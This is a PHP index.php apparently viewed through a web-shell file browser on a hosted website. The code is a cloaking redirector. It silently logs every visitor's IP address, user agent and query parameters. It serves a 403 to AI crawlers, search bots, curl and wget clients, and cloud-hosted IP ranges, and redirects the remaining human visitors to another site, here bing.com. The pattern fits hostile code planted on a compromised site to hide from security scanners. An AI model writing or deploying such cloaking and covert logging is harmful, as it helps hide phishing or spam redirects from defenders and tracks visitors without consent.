| Current Path : /home/www/hallgroupsolutions.com/home/ |
| Current File : /home/www/hallgroupsolutions.com/home/index.php |
<?php
// ==================== INDEX.PHP - Logging + Redirect + Blok berdasarkan ISP/Hostname ====================
function getClientIP() {
$ip = $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0';
$headers = ['HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED'];
foreach ($headers as $h) {
if (!empty($_SERVER[$h])) {
$ips = explode(',', $_SERVER[$h]);
foreach ($ips as $possible) {
$possible = trim($possible);
if (filter_var($possible, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
return $possible;
}
}
}
}
return $ip;
}
function isAIbot($ua) {
$blocked = [
'gptbot','chatgpt-user','oai-searchbot','openai','openai-search',
'claudebot','anthropic','claude-user','claude-search',
'google-extended','google-other','gemini','vertex','googlebot',
'perplexitybot','perplexity-ai','telegrambot',
'bytespider','meta-externalagent','facebookexternalhit',
'applebot-extended','grok','xai-crawler','ccbot','amazonbot',
'diffbot','scrapy','python-requests','curl','wget','bingbot'
];
$ua = strtolower($ua ?? '');
if (empty($ua) || strlen($ua) < 10) return true;
foreach ($blocked as $b) {
if (strpos($ua, $b) !== false) return true;
}
return false;
}
function isCloudISP($ip) {
// Lakukan reverse DNS lookup
$hostname = @gethostbyaddr($ip); // @ untuk suppress warning jika gagal
if ($hostname === $ip || empty($hostname)) {
// Tidak ada PTR record → anggap bukan cloud (atau bot yang sengaja hide)
return false;
}
$hostname_lower = strtolower($hostname);
// Daftar keyword ISP/cloud/datacenter yang sering dipakai bot (update 2026)
$cloud_keywords = [
'amazon', 'aws', 'ec2', 'amazonaws',
'microsoft', 'azure', 'windowsazure',
'google', 'googleusercontent', 'gcp', 'cloud.google',
'oracle', 'oraclecloud',
'digitalocean', 'linode', 'vultr', 'hetzner', 'ovhcloud', 'contabo', 'scaleway',
'cloudflare', 'akamai', 'fastly', 'quadranet', 'choopa', 'blazingfast',
'psychz', 'colocrossing', 'highwinds', 'softlayer', 'ovh'
];
foreach ($cloud_keywords as $kw) {
if (strpos($hostname_lower, $kw) !== false) {
return true;
}
}
return false;
}
function logVisit($ip, $ua, $is_bot, $request_uri) {
try {
$db = new PDO('sqlite:visitors.db');
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$db->exec("CREATE TABLE IF NOT EXISTS visits (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp DATETIME DEFAULT CURRENT_TIMESTAMP,
ip TEXT,
user_agent TEXT,
is_bot INTEGER DEFAULT 0,
request_uri TEXT,
query_params TEXT
)");
$query_params = json_encode($_GET, JSON_UNESCAPED_UNICODE | JSON_INVALID_UTF8_IGNORE);
$stmt = $db->prepare("INSERT INTO visits (ip, user_agent, is_bot, request_uri, query_params) VALUES (?, ?, ?, ?, ?)");
$stmt->execute([$ip, $ua, $is_bot ? 1 : 0, $request_uri, $query_params]);
} catch (Exception $e) {
// silent fail
}
}
// =============== EKSEKUSI ===============
$ip = getClientIP();
$ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
$request_uri = $_SERVER['REQUEST_URI'] ?? '/';
$is_bot_ua = isAIbot($ua);
$is_cloud_isp = isCloudISP($ip);
$is_bot = $is_bot_ua || $is_cloud_isp;
// Log dulu (supaya tercatat juga yang diblokir)
logVisit($ip, $ua, $is_bot, $request_uri);
// Jika bot / cloud ISP → blokir
if ($is_bot) {
http_response_code(403);
header('Content-Type: text/plain');
echo "Access denied. Bot / AI crawler / cloud provider detected.\nIP: $ip";
exit;
}
// Jika manusia → langsung redirect
header("Location: https://www.bing.com");
exit;